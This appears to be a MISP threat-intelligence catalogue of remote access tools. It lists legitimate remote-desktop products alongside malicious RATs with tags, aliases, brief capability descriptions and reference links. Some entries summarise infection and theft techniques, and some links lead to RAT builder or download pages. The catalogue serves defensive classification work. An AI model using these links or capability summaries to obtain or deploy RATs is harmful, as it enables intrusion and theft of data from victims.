Seecreen (previously called Firnass) is an extremely tiny (500 KB), yet powerful free remote access program that's absolutely perfect for on-demand, instant support.

The tag is: *misp-galaxy:rat="Seecreen"*

Seecreen is also known as:

- Firnass

Table 3563. Table References

Links

http://seecreen.com/

Chrome Remote Desktop

Chrome Remote Desktop is an extension for the Google Chrome web browser that lets you setup a computer for remote access from any other Chrome browser.

The tag is: *misp-galaxy:rat="Chrome Remote Desktop"*

Table 3564. Table References

Links
https://chrome.google.com/webstore/detail/chrome-remote-desktop/gbchcmhmhahfdphkhkmpfmihenigjmpp?hl=en

AnyDesk

AnyDesk is a remote desktop program that you can run portably or install like a regular program.

The tag is: *misp-galaxy:rat="AnyDesk"*

Table 3565. Table References

Links
https://anydesk.com/remote-desktop

LiteManager

LiteManager is another remote access program, and it’s strikingly similar to Remote Utilities, which I explain on the first page of this list. However, unlike Remote Utilities, which can control a total of only 10 PCs, LiteManager supports up to 30 slots for storing and connecting to remote computers, and also has lots of useful features.

The tag is: *misp-galaxy:rat="LiteManager"*

Table 3566. Table References

Links
http://www.litemanager.com/

Comodo Unite

Comodo Unite is another free remote access program that creates a secure VPN between multiple computers. Once a VPN is established, you can remotely have access to applications and files through the client software.

The tag is: *misp-galaxy:rat="Comodo Unite"*

Table 3567. Table References

Links
https://www.comodo.com/home/download/download.php?prod=comodounite

ShowMyPC

ShowMyPC is a portable and free remote access program that’s nearly identical to UltraVNC but uses a password to make a connection instead of an IP address.

The tag is: *misp-galaxy:rat="ShowMyPC"*

Table 3568. Table References

Links
https://showmypc.com/

join.me

join.me is a remote access program from the producers of LogMeIn that provides quick access to another computer over an internet browser.

The tag is: *misp-galaxy:rat="join.me"*

Table 3569. Table References

Links
https://www.join.me/

DesktopNow

DesktopNow is a free remote access program from NCH Software. After optionally forwarding the proper port number in your router, and signing up for a free account, you can access your PC from anywhere through a web browser.

The tag is: *misp-galaxy:rat="DesktopNow"*

Table 3570. Table References

Links
http://www.nchsoftware.com/remotedesktop/index.html

BeamYourScreen

Another free and portable remote access program is BeamYourScreen. This program works like some of the others in this list, where the presenter is given an ID number they must share with another user so they can connect to the presenter’s screen.

The tag is: *misp-galaxy:rat="BeamYourScreen"*

Table 3571. Table References

Links
http://www.beamyourscreen.com/

Casa RAT

The tag is: *misp-galaxy:rat="Casa RAT"*

Bandook RAT

Bandook is a FWB#++ reverse connection rat (Remote Administration Tool), with a small size server when packed 30 KB, and a long list of amazing features

The tag is: *misp-galaxy:rat="Bandook RAT"*

Table 3572. Table References

Links
http://www.nuclearwintercrew.com/Products-View/57/Bandook_RAT_v1.35 *NEW_/[http://www.nuclearwintercrew.com/Products-View/57/Bandook_RAT_v1.35*NEW_/]

Cerberus RAT

The tag is: *misp-galaxy:rat="Cerberus RAT"*

Table 3573. Table References

Links
http://www.hacktohell.org/2011/05/setting-up-cerberus-ratremote.html

Syndrome RAT

The tag is: *misp-galaxy:rat="Syndrome RAT"*

Snoopy

Snoopy is a Remote Administration Tool. Software for controlling user computer remotely from other computer on local network or Internet.

The tag is: *misp-galaxy:rat="Snoopy"*

Table 3574. Table References

Links
http://www.spy-emergency.com/research/S/Snoopy.html

5p00f3r.N$ RAT

The tag is: *misp-galaxy:rat="5p00f3r.N$ RAT"*

P. Storrie RAT

The tag is: *misp-galaxy:rat="P. Storrie RAT"*

A. Storrie RAT is also known as:

   - P.Storrie RAT

xHacker Pro RAT

The tag is: *misp-galaxy:rat="xHacker Pro RAT"*

NetDevil

Backdoor.NetDevil allows a hacker to remotely control an infected computer.

The tag is: *misp-galaxy:rat="NetDevil"*

NetDevil has relationships with:

- similar: misp-galaxy:rat="Net Devil" with estimative-language:likelihood-probability="likely"

Table 3575. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2002-021310-3452-99

NanoCore

In September of 2015, a DigiTrust client visited a web link that was providing an Adobe Flash Player update. The client, an international retail organization, attempted to download and run what appeared to be a regular update. The computer trying to download this update was a back office system that processed end of day credit card transactions. This system also had the capability of connecting to the corporate network which contained company sales reports. DigiTrust experts were alerted to something malicious and blocked the download. The investigation found that what appeared to be an Adobe Flash Player update, was a Remote Access Trojan called NanoCore. If installation had been successful, customer credit card data, personal information, and internal sales information could have been captured and monetized. During the analysis of NanoCore, our experts found that there was much more to this RAT than simply being another Remote Access Trojan.

The tag is: *misp-galaxy:rat="NanoCore"*

NanoCore has relationships with:

- similar: misp-galaxy:tool="NanoCoreRAT" with estimative-language:likelihood-probability="likely"

Table 3576. Table References

Links
https://www.digitrustgroup.com/nanocore-not-your-average-rat/

Cobian RAT

The Zscaler ThreatLabZ research team has been monitoring a new remote access Trojan (RAT) family called Cobian RAT since February 2017. The RAT builder for this family was first advertised on multiple underground forums where cybercriminals often buy and sell exploit and malware kits. This RAT builder caught our attention as it was being offered for free and had lot of similarities to the njRAT/H-Worm family

The tag is: *misp-galaxy:rat="Cobian RAT"*

Cobian RAT has relationships with:

- similar: misp-galaxy:malpedia="Cobian RAT" with estimative-language:likelihood-probability="likely"

Table 3577. Table References

Links
https://www.zscaler.com/blogs/research/cobian-rat-backdoored-rat

Netsupport Manager

NetSupport Manager continues to deliver the very latest in remote access, PC support and desktop management capabilities. From a desktop, laptop, tablet or smartphone, monitor multiple systems in a single action, deliver hands-on remote support, collaborate and even record or play back sessions. When needed, gather real-time hardware and software inventory, monitor services and even view system config remotely to help resolve issues quickly.

The tag is: *misp-galaxy:rat="Netsupport Manager"*

Table 3578. Table References

Links
http://www.netsupportmanager.com/index.asp

Vortex

The tag is: *misp-galaxy:rat="Vortex"*

Assassin

The tag is: *misp-galaxy:rat="Assassin"*

Net Devil

The tag is: *misp-galaxy:rat="Net Devil"*

Net Devil is also known as:

- NetDevil

Net Devil has relationships with:

- similar: misp-galaxy:rat="NetDevil" with estimative-language:likelihood-probability="likely"

Table 3579. Table References

Links
https://www.symantec.com/security_response/attacksignatures/detail.jsp?asid=20702

A4Zeta

The tag is: *misp-galaxy:rat="A4Zeta"*

Table 3580. Table References

Links
http://www.megasecurity.org/trojans/a/a4zeta/A4zeta_b2.html

Greek Hackers RAT

The tag is: *misp-galaxy:rat="Greek Hackers RAT"*

Table 3581. Table References

Links
http://www.connect-trojan.net/2013/04/greek-hackers-rat-1.0.html?m=0

MRA RAT

The tag is: *misp-galaxy:rat="MRA RAT"*

Table 3582. Table References

Links
http://www.connect-trojan.net/2013/04/greek-hackers-rat-1.0.html?m=0

Sparta RAT

The tag is: *misp-galaxy:rat="Sparta RAT"*

Table 3583. Table References

Links
http://www.connect-trojan.net/2015/09/sparta-rat-1.2-by-azooz-ejram.html

LokiTech

The tag is: *misp-galaxy:rat="LokiTech"*

MadRAT

The tag is: *misp-galaxy:rat="MadRAT"*

Tequila Bandita

The tag is: *misp-galaxy:rat="Tequila Bandita"*

Table 3584. Table References

Links
http://www.connect-trojan.net/2013/07/tequila-bandita-1.3b2.html

Toquito Bandito

The tag is: *misp-galaxy:rat="Toquito Bandito"*

Table 3585. Table References

Links
http://www.megasecurity.org/trojans/t/toquitobandito/Toquitobandito_all.html

MofoTro

MofoTro is a new rat coded by Cool_mofo_2.

The tag is: *misp-galaxy:rat="MofoTro"*

Table 3586. Table References

Links
http://www.megasecurity.org/trojans/m/mofotro/Mofotro_beta.html
http://www.megasecurity.org/trojans/m/mofotro/Mofotroresurrection.html
http://www.megasecurity.org/trojans/m/mofotro/Mofotro_beta1.5.html

Hav-RAT

Written in Delphi

The tag is: *misp-galaxy:rat="Hav-RAT"*

Table 3587. Table References

Links
http://www.megasecurity.org/trojans/h/hav/Havrat1.2.html

ComRAT

ComRAT is a remote access tool suspected of being a decedent of Agent.btz and used by Turla.

The tag is: *misp-galaxy:rat="ComRAT"*

ComRAT has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="ComRAT - S0126" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Agent.BTZ" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="Agent.BTZ" with estimative-language:likelihood-probability="likely"

Table 3588. Table References

Links
https://attack.mitre.org/wiki/Software/S0126

4H RAT

4H RAT is malware that has been used by Putter Panda since at least 2007.

The tag is: *misp-galaxy:rat="4H RAT"*

4H RAT has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="4H RAT - S0065" with estimative-language:likelihood-probability="likely"

Table 3589. Table References

Links
https://attack.mitre.org/wiki/Software/S0065

Darknet RAT

The tag is: *misp-galaxy:rat="Darknet RAT"*

Darknet RAT is also known as:

- Dark NET RAT

Table 3590. Table References

Links
http://www.connect-trojan.net/2015/06/dark-net-rat-v.0.3.9.0.html

CIA RAT

The tag is: *misp-galaxy:rat="CIA RAT"*

Minimo

The tag is: *misp-galaxy:rat="Minimo"*

miniRAT

The tag is: *misp-galaxy:rat="miniRAT"*

Pain RAT

The tag is: *misp-galaxy:rat="Pain RAT"*

PlugX

PLUGX is a remote access tool (RAT) used in targeted attacks aimed toward government-related institutions and key industries. It was utilized the same way as Poison Ivy, a RAT involved in a campaign dating back to 2008.

The tag is: *misp-galaxy:rat="PlugX"*

PlugX is also known as:

- Korplug

PlugX has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="PlugX - S0013" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="PlugX" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="PlugX" with estimative-language:likelihood-probability="likely"

Table 3591. Table References

Links
https://www.lastline.com/labsblog/an-analysis-of-plugx-malware/

https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/PLUGX

UNITEDRAKE

The existence of the UNITEDRAKE RAT first came to light in 2014 as part of a series of classified documents leaked by former NSA contractor Edward Snowden.

The tag is: *misp-galaxy:rat="UNITEDRAKE"*

Table 3592. Table References

Links
http://thehackernews.com/2017/09/shadowbrokers-unitedrake-hacking.html
https://www.itnews.com.au/news/shadowbrokers-release-unitedrake-nsa-malware-472771

MegaTrojan

Written in Visual Basic

The tag is: *misp-galaxy:rat="MegaTrojan"*

Table 3593. Table References

Links
http://www.megasecurity.org/trojans/m/mega/Megatrojan1.0.html

Venomous Ivy

The tag is: *misp-galaxy:rat="Venomous Ivy"*

Xploit

The tag is: *misp-galaxy:rat="Xploit"*

Arctic R.A.T.

The tag is: *misp-galaxy:rat="Arctic R.A.T."*

Arctic R.A.T. is also known as:

- Artic

Table 3594. Table References

Links
http://anti-virus-soft.com/threats/artic

GOlden Phoenix

The tag is: *misp-galaxy:rat="GOlden Phoenix"*

Table 3595. Table References

Links
http://www.connect-trojan.net/2014/02/golden-phoenix-rat-0.2.html

GraphicBooting

The tag is: *misp-galaxy:rat="GraphicBooting"*

Table 3596. Table References

Links
http://www.connect-trojan.net/2014/10/graphicbooting-rat-v0.1-beta.html?m=0

Pocket RAT

The tag is: *misp-galaxy:rat="Pocket RAT"*

Erebus

The tag is: *misp-galaxy:rat="Erebus"*

Erebus has relationships with:

- similar: misp-galaxy:malpedia="Erebus" with estimative-language:likelihood-probability="likely"

SharpEye

The tag is: *misp-galaxy:rat="SharpEye"*

Table 3597. Table References

Links
http://www.connect-trojan.net/2014/10/sharpeye-rat-1.0-beta-1.html
http://www.connect-trojan.net/2014/02/sharpeye-rat-1.0-beta-2.html

VorteX

The tag is: *misp-galaxy:rat="VorteX"*

Archelaus Beta

The tag is: *misp-galaxy:rat="Archelaus Beta"*

Table 3598. Table References

Links
http://www.connect-trojan.net/2014/02/archelaus-rat-beta.html

BlackHole

C# RAT (Remote Adminitration Tool) - Educational purposes only

The tag is: *misp-galaxy:rat="BlackHole"*

BlackHole has relationships with:

- similar: misp-galaxy:exploit-kit="BlackHole" with estimative-language:likelihood-probability="likely"

Table 3599. Table References

Links
https://github.com/hussein-aitlahcen/BlackHole

Vanguard

The tag is: *misp-galaxy:rat="Vanguard"*

Table 3600. Table References

Links
http://ktwox7.blogspot.lu/2010/12/vanguard-remote-administration.html

Ahtapod

The tag is: *misp-galaxy:rat="Ahtapod"*

Table 3601. Table References

Links
http://www.ibtimes.co.uk/turkish-journalist-baris-pehlivan-jailed-terrorism-was-framed-by-hackers-says-report-1577481

FINSPY

Though we have not identified the targets, FINSPY is sold by Gamma Group to multiple nation-state clients, and we assess with moderate confidence that it was being used along with the zero-day to carry out cyber espionage.

The tag is: *misp-galaxy:rat="FINSPY"*

FINSPY has relationships with:

- similar: misp-galaxy:tool="FINSPY" with estimative-language:likelihood-probability="likely"

Table 3602. Table References

Links
https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199_useda.html

Seed RAT

Seed is a firewall bypass plus trojan, injects into default browser and has a simple purpose: to be compact (4kb server size) and useful while uploading bigger and full trojans, or even making Seed download them somewhere. Has computer info, process manager, file manager, with download, create folder, delete, execute and upload. And a remote download function. Everything with a easy to use interface, reminds an instant messenger.

The tag is: *misp-galaxy:rat="Seed RAT"*

Table 3603. Table References

Links
http://www.nuclearwintercrew.com/Products-View/25/Seed_1.1/

SharpBot

The tag is: *misp-galaxy:rat="SharpBot"*

TorCT PHP RAT

The tag is: *misp-galaxy:rat="TorCT PHP RAT"*

Table 3604. Table References

Links
https://github.com/alienwithin/torCT-PHP-RAT

A32s RAT

The tag is: *misp-galaxy:rat="A32s RAT"*

Char0n

The tag is: *misp-galaxy:rat="Char0n"*

Nytro

The tag is: *misp-galaxy:rat="Nytro"*

Syla

The tag is: *misp-galaxy:rat="Syla"*

Table 3605. Table References

Links
http://www.connect-trojan.net/2013/07/syla-rat-0.3.html

Cobalt Strike

Cobalt Strike is software for Adversary Simulations and Red Team Operations.

The tag is: *misp-galaxy:rat="Cobalt Strike"*

Cobalt Strike has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-tool="Cobalt Strike - S0154" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Cobalt Strike" with estimative-language:likelihood-probability="likely"

Table 3606. Table References

Links
https://www.cobaltstrike.com/

Sakula

The RAT, which according to compile timestamps first surfaced in November 2012, has been used in targeted intrusions through 2015. Sakula enables an adversary to run interactive commands as well as to download and execute additional components.

The tag is: *misp-galaxy:rat="Sakula"*

Sakula is also known as:

- Sakurel
- VIPER

Sakula has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="Sakula - S0074" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:tool="Sakula" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Sakula RAT" with estimative-language:likelihood-probability="likely"

Table 3607. Table References

Links
https://www.secureworks.com/research/sakula-malware-family

hcdLoader

hcdLoader is a remote access tool (RAT) that has been used by APT18.

The tag is: *misp-galaxy:rat="hcdLoader"*

hcdLoader has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="hcdLoader - S0071" with estimative-language:likelihood-probability="likely"

Table 3608. Table References

Links
https://attack.mitre.org/wiki/Software/S0071

Crimson

The tag is: *misp-galaxy:rat="Crimson"*

Crimson has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="Crimson - S0115" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="Crimson" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Crimson" with estimative-language:likelihood-probability="likely"

Table 3609. Table References

Links
http://www.connect-trojan.net/2015/01/crimson-rat-3.0.0.html

KjW0rm

The tag is: *misp-galaxy:rat="KjW0rm"*

KjW0rm has relationships with:

- similar: misp-galaxy:tool="KjW0rm" with estimative-language:likelihood-probability="likely"

Table 3610. Table References

Links
http://hack-defender.blogspot.fr/2015/12/kjw0rm-v05x.html

Ghost

The tag is: *misp-galaxy:rat="Ghost"*

Ghost is also known as:

- Ucul

Table 3611. Table References

Links
https://www.youtube.com/watch?v=xXZW4ajVYkI

9002

The tag is: *misp-galaxy:rat="9002"*

Sandro RAT

The tag is: *misp-galaxy:rat="Sandro RAT"*

Mega

The tag is: *misp-galaxy:rat="Mega"*

WiRAT

The tag is: *misp-galaxy:rat="WiRAT"*

3PARA RAT

The tag is: *misp-galaxy:rat="3PARA RAT"*

3PARA RAT has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="3PARA RAT - S0066" with estimative-language:likelihood-probability="likely"

Table 3612. Table References

Links
https://books.google.fr/books?isbn=2212290136

BBS RAT

The tag is: *misp-galaxy:rat="BBS RAT"*

Konni

KONNI is a remote access Trojan (RAT) that was first reported in May of 2017, but is believed to have been in use for over 3 years. As Part of our daily threat monitoring, FortiGuard Labs came across a new variant of the KONNI RAT and decided to take a deeper look.

The tag is: *misp-galaxy:rat="Konni"*

Konni is also known as:

- KONNI

Konni has relationships with:

- similar: misp-galaxy:tool="KONNI" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Konni" with estimative-language:likelihood-probability="likely"

Table 3613. Table References

Links
https://blog.fortinet.com/2017/08/15/a-quick-look-at-a-new-konni-rat-variant
https://www.cylance.com/en_us/blog/threat-spotlight-konni-stealthy-remote-access-trojan.html
https://vallejo.cc/2017/07/08/analysis-of-new-variant-of-konni-rat/
http://blog.talosintelligence.com/2017/07/konni-references-north-korean-missile-capabilities.html
https://www.bleepingcomputer.com/news/security/report-ties-north-korean-attacks-to-new-malware-linked-by-word-macros/

Felismus RAT

Used by Sowbug

The tag is: *misp-galaxy:rat="Felismus RAT"*

Table 3614. Table References

Links
https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments

Xsser

Xsser mRAT is a piece of malware that targets iOS devices that have software limitations removed. The app is installed via a rogue repository on Cydia, the most popular third-party application store for jailbroken iPhones. Once the malicious bundle has been installed and executed, it gains persistence - preventing the user from deleting it. The mRAT then makes server-side checks and proceeds to steal data from the user’s device and executes remote commands as directed by its command-and-control (C2) server.

The tag is: *misp-galaxy:rat="Xsser"*

Xsser is also known as:

- mRAT

Table 3615. Table References

Links
https://blogs.akamai.com/2014/12/ios-and-android-os-targeted-by-man-in-the-middle-attacks.html
http://malware.wikia.com/wiki/Xsser_mRAT

GovRAT

GovRAT is an old cyberespionage tool, it has been in the wild since 2014 and it was used by various threat actors across the years.

The tag is: *misp-galaxy:rat="GovRAT"*

GovRAT has relationships with:

- similar: misp-galaxy:malpedia="GovRAT" with estimative-language:likelihood-probability="likely"

Table 3616. Table References

Links
http://securityaffairs.co/wordpress/41714/cyber-crime/govrat-platform.html
http://securityaffairs.co/wordpress/51202/cyber-crime/govrat-2-0-attacks.html

Rottie3

The tag is: *misp-galaxy:rat="Rottie3"*

Table 3617. Table References

Links
https://www.youtube.com/watch?v=jUg5—68Iqs

Killer RAT

The tag is: *misp-galaxy:rat="Killer RAT"*

Hi-Zor

The tag is: *misp-galaxy:rat="Hi-Zor"*

Hi-Zor has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="Hi-Zor - S0087" with estimative-language:likelihood-probability="likely"

Table 3618. Table References

Links
https://www.fidelissecurity.com/threatgeek/2016/01/introducing-hi-zor-rat

Quaverse

Quaverse RAT or QRAT is a fairly new Remote Access Tool (RAT) introduced in May 2015. This RAT is marketed as an undetectable Java RAT. As you might expect from a RAT, the tool is capable of grabbing passwords, key logging and browsing files on the victim's computer. On a regular basis for the past several months, we have observed the inclusion of QRAT in a number of spam campaigns.

The tag is: *misp-galaxy:rat="Quaverse"*

Quaverse is also known as:

- QRAT

Table 3619. Table References

Links
https://www.trustwave.com/Resources/SpiderLabs-Blog/Quaverse-RAT—Remote-Access-as-a-Service/

Heseber

The tag is: *misp-galaxy:rat="Heseber"*

Cardinal

Cardinal is a remote access trojan (RAT) discovered by Palo Alto Networks in 2017 and has been active for over two years. It is delivered via a downloader, known as Carp, and uses malicious macros in Microsoft Excel documents to compile embedded C# programming language source code into an executable that runs and deploys the Cardinal RAT. The malicious Excel files use different tactics to get the victims to execute it.

The tag is: *misp-galaxy:rat="Cardinal"*

Table 3620. Table References

Links

https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/
https://www.scmagazine.com/cardinal-rats-unique-downloader-allowed-it-to-avoid-detection-for-years/article/651927/
https://www.cyber.nj.gov/threat-profiles/trojan-variants/cardinal

OmniRAT

Works on all Android, Windows, Linux and Mac devices!

The tag is: *misp-galaxy:rat="OmniRAT"*

OmniRAT has relationships with:

- similar: misp-galaxy:malpedia="OmniRAT" with estimative-language:likelihood-probability="likely"

Table 3621. Table References

Links
https://omnirat.eu/en/

Jfect

The tag is: *misp-galaxy:rat="Jfect"*

Table 3622. Table References

Links
https://www.youtube.com/watch?v=qKdoExQFb68

Trochilus

Trochilus is a remote access trojan (RAT) first identified in October 2015 when attackers used it to infect visitors of a Myanmar website. It was then used in a 2016 cyber-espionage campaign, dubbed "the Seven Pointed Dagger," managed by another group, "Group 27," who also uses the PlugX trojan. Trochilus is primarily spread via emails with a malicious .RAR attachment containing the malware. The trojan’s functionality includes a shellcode extension, remote uninstall, a file manager, and the ability to download and execute, upload and execute, and access the system information. Once present on a system, Trochilus can move laterally in the network for better access. This trojan operates in memory only and does not write to the disk, helping it evade detection.

The tag is: *misp-galaxy:rat="Trochilus"*

Trochilus has relationships with:

- similar: misp-galaxy:tool="Trochilus" with estimative-language:likelihood-probability="likely"

Table 3623. Table References

Links
https://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/
http://securityaffairs.co/wordpress/43889/cyber-crime/new-rat-trochilus.html

Matryoshka

Their most commonly used initial attack vector is a simple, yet alarmingly effective, spearphishing attack, infecting unsuspecting victims via a malicious email attachment (usually an executable that has been disguised as something else). From there, Matryoshka runs second stage malware via a dropper and covertly installs a Remote Access Toolkit (RAT). This is done using a reflective loader technique that allows the malware to run in process memory, rather than being written to disk. This not only hides the install of the RAT but also ensures that the RAT will be ‘reinstalled’ after system restart.

The tag is: *misp-galaxy:rat="Matryoshka"*

Matryoshka has relationships with:

- similar: misp-galaxy:tool="Matryoshka" with estimative-language:likelihood-probability="likely"

Table 3624. Table References

Links
https://www.alienvault.com/blogs/security-essentials/matryoshka-malware-from-copykittens-group

Mangit

First discovered by Trend Micro in June, Mangit is a new malware family being marketed on both the Dark web and open internet. Users have the option to rent the trojan’s infrastructure for about $600 per 10-day period or buy the source code for about $8,800. Mangit was allegedly developed by "Ric", a Brazilian hacker, who makes himself available via Skype to discuss rental agreements. Once the malware is rented or purchased, the user controls a portion of the Mangit botnet, the trojan, the dropper, an auto-update system, and the server infrastructure to run their attacks. Mangit contains support for nine Brazillian banks including Citibank, HSBC, and Santander. The malware can also be used to steal user PayPal credentials. Mangit has the capability to collect banking credentials, receive SMS texts when a victim is accessing their bank account, and take over victim’s browsers. To circumvent two-factor authentication, attackers can use Mangit to lock victim’s browsers and push pop-ups to the victim asking for the verification code they just received.

The tag is: *misp-galaxy:rat="Mangit"*

Table 3625. Table References

Links
http://virusguides.com/newly-discovered-mangit-malware-offers-banking-trojan-service/
https://www.cyber.nj.gov/threat-profiles/trojan-variants/mangit

http://news.softpedia.com/news/new-malware-mangit-surfaces-as-banking-trojan-as-a-service-505458.shtml

LeGeNd

The tag is: *misp-galaxy:rat="LeGeNd"*

Table 3626. Table References

Links
http://www.connect-trojan.net/2016/08/legend-rat-v1.3-by-ahmed-ibrahim.html
http://www.connect-trojan.net/2016/11/legend-rat-v1.9-by-ahmed-ibrahim.html

Revenge-RAT

Revenge v0.1 was a simple tool, according to a researcher known as Rui, who says the malware's author didn't bother obfuscating the RAT's source code. This raised a question mark with the researchers, who couldn't explain why VirusTotal scanners couldn't pick it up as a threat right away.Revenge, which was written in Visual Basic, also didn't feature too many working features, compared to similar RATs. Even Napolean admitted that his tool was still in the early development stages, a reason why he provided the RAT for free.

The tag is: *misp-galaxy:rat="Revenge-RAT"*

Table 3627. Table References

Links
http://www.securitynewspaper.com/2016/08/31/unsophisticated-revenge-rat-released-online-free-exclusive/

vjw0rm 0.1

The tag is: *misp-galaxy:rat="vjw0rm 0.1"*

Table 3628. Table References

Links
https://twitter.com/malwrhunterteam/status/816993165119016960?lang=en

rokrat

ROKRAT is a remote access trojan (RAT) that leverages a malicious Hangual Word Processor (HWP) document sent in spearphishing emails to infect hosts. The HWP document contains an embedded Encapsulated PostScript (EPS) object. The object exploits an EPS buffer overflow vulnerability and downloads a binary disguised as a .JPG file. The file is then decoded and the ROKRAT executable is initiated. The trojan uses legitimate Twitter, Yandex, and Mediafire websites for its command and control communications and exfiltration platforms, making them difficult to block globally. Additionally, the platforms use HTTPS connections, making it more difficult to gather additional data on its activities. Cisco’s Talos Group identified two email campaigns. In one, attackers send potential victims emails from an email server of a private university in Seoul, South Korea with a sender email address of "kgf2016@yonsei.ac.kr," the contact email for the Korea Global Forum, adding a sense of legitimacy to the email. It is likely that the email address was compromised and used by the attackers in this campaign. The second is less sophisticated and sends emails claiming to be from a free Korean mail service with a the subject line, "Request Help" and attached malicious HWP filename, "I’m a munchon person in Gangwon-do, North Korea." The ROKRAT developer uses several techniques to hinder analysis, including identifying tools usually used by malware analysts or within sandbox environments. Once it has infected a device, this trojan can execute commands, move a file, remove a file, kill a process, download and execute a file, upload documents, capture screenshots, and log keystrokes. Researchers believe the developer is a native Korean speaker and the campaign is currently targeting Korean-speakers.

The tag is: *misp-galaxy:rat="rokrat"*

rokrat is also known as:

- ROKRAT

Table 3629. Table References

Links
http://blog.talosintelligence.com/2017/04/introducing-rokrat.html
http://blog.talosintelligence.com/2017/11/ROKRAT-Reloaded.html

Qarallax

Travelers applying for a US Visa in Switzerland were recently targeted by cyber-criminals linked to a malware called QRAT. Twitter user @hkashfi posted a Tweet saying that one of his friends received a file (US Travel Docs Information.jar) from someone posing as USTRAVELDOCS.COM support personnel using the Skype account ustravelidocs-switzerland (notice the “i” between “travel” and “docs”).

The tag is: *misp-galaxy:rat="Qarallax"*

Qarallax is also known as:

- qrat

Qarallax has relationships with:

- similar: misp-galaxy:tool="qrat" with estimative-language:likelihood-probability="likely"

Table 3630. Table References

Links
https://labsblog.f-secure.com/2016/06/07/qarallax-rat-spying-on-us-visa-applicants/

MoonWind

MoonWind is a remote access tool (RAT) that was used in 2016 to target organizations in Thailand.

The tag is: *misp-galaxy:rat="MoonWind"*

MoonWind has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="MoonWind - S0149" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="MoonWind" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="MoonWind" with estimative-language:likelihood-probability="likely"

Table 3631. Table References

Links
https://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/
https://attack.mitre.org/wiki/Software/S0149

Remcos

Remcos is another RAT (Remote Administration Tool) that was first discovered being sold in hacking forums in the second half of 2016. Since then, it has been updated with more features, and just recently, we've seen its payload being distributed in the wild for the first time.

The tag is: *misp-galaxy:rat="Remcos"*

Remcos has relationships with:

- similar: misp-galaxy:malpedia="Remcos" with estimative-language:likelihood-probability="likely"

Table 3632. Table References

Links
https://blog.fortinet.com/2017/02/14/remcos-a-new-rat-in-the-wild-2
https://blog.talosintelligence.com/2018/08/picking-apart-remcos.html

Client Maximus

The purpose of the Client Maximus malware is financial fraud. As such, its code aspires to create the capabilities that most banking Trojans have, which allow attackers to monitor victims' web navigation and interrupt online banking session at will. After taking over a victim's banking session, an attacker operating this malware can initiate a fraudulent transaction from the account and use social engineering screens to manipulate the unwitting victim into authorizing it.

The tag is: *misp-galaxy:rat="Client Maximus"*

Client Maximus has relationships with:

- similar: misp-galaxy:malpedia="Client Maximus" with estimative-language:likelihood-probability="likely"

Table 3633. Table References

Links
https://securityintelligence.com/client-maximus-new-remote-overlay-malware-highlights-rising-malcode-sophistication-in-brazil/

TheFat RAT

Thefatrat a massive exploiting tool revealed >> An easy tool to generate backdoor and easy tool to post exploitation attack like browser attack,dll . This tool compiles a malware with popular payload and then the compiled malware can be execute on windows, android, mac . The malware that created with this tool also have an ability to bypass most…

The tag is: *misp-galaxy:rat="TheFat RAT"*

Table 3634. Table References

Links
https://github.com/Screetsec/TheFatRat

RedLeaves

Since around October 2016, JPCERT/CC has been confirming information leakage and other damages caused by malware ‘RedLeaves’. It is a new type of malware which has been observed since 2016 in attachments to targeted emails.

The tag is: *misp-galaxy:rat="RedLeaves"*

RedLeaves has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="RedLeaves - S0153" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="BUGJUICE" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="RedLeaves" with estimative-language:likelihood-probability="likely"

Table 3635. Table References

Links
http://blog.jpcert.or.jp/2017/04/redleaves---malware-based-on-open-source-rat.html

Rurktar

Dubbed Rurktar, the tool hasn't had all of its functionality implemented yet, but G DATA says "it is relatively safe to say [it] is intended for use in targeted spying operations." The malicious program could be used for reconnaissance operations, as well as to spy on infected computers users, and steal or upload files.

The tag is: *misp-galaxy:rat="Rurktar"*

Rurktar has relationships with:

- similar: misp-galaxy:malpedia="Rurktar" with estimative-language:likelihood-probability="likely"

Table 3636. Table References

Links
http://www.securityweek.com/rurktar-malware-espionage-tool-development

RATAttack

RATAttack is a remote access trojan (RAT) that uses the Telegram protocol to support encrypted communication between the victim's machine and the attacker. The Telegram protocol also provides a simple method to communicate to the target, negating the need for port forwarding. Before using RATAttack, the attacker must create a Telegram bot and embed the bot's Telegram token into the trojan's configuration file. When a system is infected with RATAttack, it connects to the bot's Telegram channel. The attacker can then connect to the same channel and manage the RATAttack clients on the infected host machines. The trojan's code was available on GitHub then was taken down by the author on April 19, 2017.

The tag is: *misp-galaxy:rat="RATAttack"*

Table 3637. Table References

Links
https://www.cyber.nj.gov/threat-profiles/trojan-variants/ratattack

